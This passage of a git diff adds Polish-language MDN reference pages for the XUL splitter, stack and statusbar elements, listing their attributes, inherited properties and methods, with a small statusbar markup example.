+ <li><code>flex</code>: The closest flexible element resizes. </li>
+</ul>
+
+
+</div>
+<div id="a-resizebefore">
+
+<dl>
+ <dt>
+ <code id="a-resizebefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizebefore">resizebefore</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna wartość z poniższych</i>
+ </dd>
+ <dd>
+ Ten atrybut sygnalizuje, który element po lewej lub powyżej rozdzielacza (<code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>) powinien zmienić rozmiar, kiedy rozdzielacz zmienia swoje położenie.</dd>
+</dl>
+<ul>
+ <li><code>closest</code>: Element zmienia swój rozmiar natychmiast do lewej lub do góry po zmianie położenia rozdzielacza.</li>
+ <li><code>farthest</code>: Element, który jest najdalej od rozdzielacza po lewej lub powyżej zmienia swój rozmiar po zmianie położenia rozdzielacza.</li>
+</ul>
+</div>
+<div id="a-state">
+
+<dl><dt> <code id="a-state"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/state">state</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Sygnalizuje gdzie <code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code> posiada zawiniętą zawartość lub nie. Ten atrybut będzie aktualizowany automatycznie jak rozdzielacz jest przenoszony i generalnie jest stosowany w arkuszu stylów, aby móc zastosować różne wyglądy dla każdego stanu.
+</dd></dl>
+<ul><li> <code>open</code>: Zawartość w obu przypadkach; przed lub za rozdzielaczem zależy od wartości atrybutu <code>collapsed</code>, który jest aktualnie wyświetlany.
+</li><li> <code>collapsed</code>: Zawartość w obu przypadkach; przed lub za rozdzielaczem jest zawinięta i nie jest widoczna.
+</li><li> <code>dragging</code>: Użytkownik aktualnie ręcznie zmienia pozycję rozdzielacza, zazwyczaj poprzez przeciągnięcie go za pomocą myszki.
+</li></ul>
+
+
+</div>
+<div id="a-substate">
+
+<dl>
+ <dt>
+ <code id="a-substate"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/substate">substate</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ W rozdzielaczu, który posiada <code>state="collapsed"</code> i <code>collapse="both"</code>, określa kierunek w którym rozdzielacz aktualnie zawijany. Cechą Gecko 1.9+ jest <code>collapse="both"</code> i nie będzie ona miała efektu we wcześniejszych wersjach.</dd>
+</dl>
+<ul>
+ <li><code>before</code>: Element jest natychmiast zawinięty przed rozdzielaczem.</li>
+ <li><code>after</code>: Element jest natychmiast zawinięty po rozdzielaczu.</li>
+</ul>
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tree-splitter">tree-splitter</a></code></dt>
+ <dd>
+ Zastosowanie tego rozdzielacza jest zamierzone w kolumnach drzewa (pomiędzy elementami <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code>). Rozdzielacz rysowany będzie bez szerokości, więc nie będzie on widoczny, jednakże, kolumny mogą wciąż zmieniać swoją szerokość.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/stack/index.html b/files/pl/mozilla/tech/xul/stack/index.html
new file mode 100644
index 0000000000..0d3c9cfdf9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/stack/index.html
@@ -0,0 +1,96 @@
+---
+title: stack
+slug: Mozilla/Tech/XUL/stack
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/stack
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który układa swoje dzieci jedno na drugim. Pierwszy element jest układany na dole i każdy następny potomek układany jest powyżej poprzedniego. Wszystkie elementy są wyświetlane na raz. Elementy potomne mogą również być umieszczane na absolutnych pozycjach wewnątrz stosu.
+</p><p>Atrybuty <code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code> i <code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code> elementu potomnego <code>stack</code> określają pozycje tego elementu.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Stosy_i_pok%c5%82ady">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p><a href="pl/XUL/deck">deck</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/statusbar/index.html b/files/pl/mozilla/tech/xul/statusbar/index.html
new file mode 100644
index 0000000000..e6f2a31217
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/statusbar/index.html
@@ -0,0 +1,120 @@
+---
+title: statusbar
+slug: Mozilla/Tech/XUL/statusbar
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/statusbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element stosowany do tworzenia paska statusu, zazwyczaj umieszczony wzdłuż dołu okna. To jest wirtualny odpowiednik standardowego pudełka, lecz może być renderowany w inny sposób.
+</p>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;statusbar&gt;
+ &lt;statusbarpanel label="Left panel"/&gt;
+ &lt;spacer flex="1"/&gt;
+ &lt;progressmeter mode="determined" value="82"/&gt;
+ &lt;statusbarpanel label="Right panel"/&gt;
+&lt;/statusbar&gt;
+</pre>
+<p><img alt="grafika:XUL_ref_statusbar.png">
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
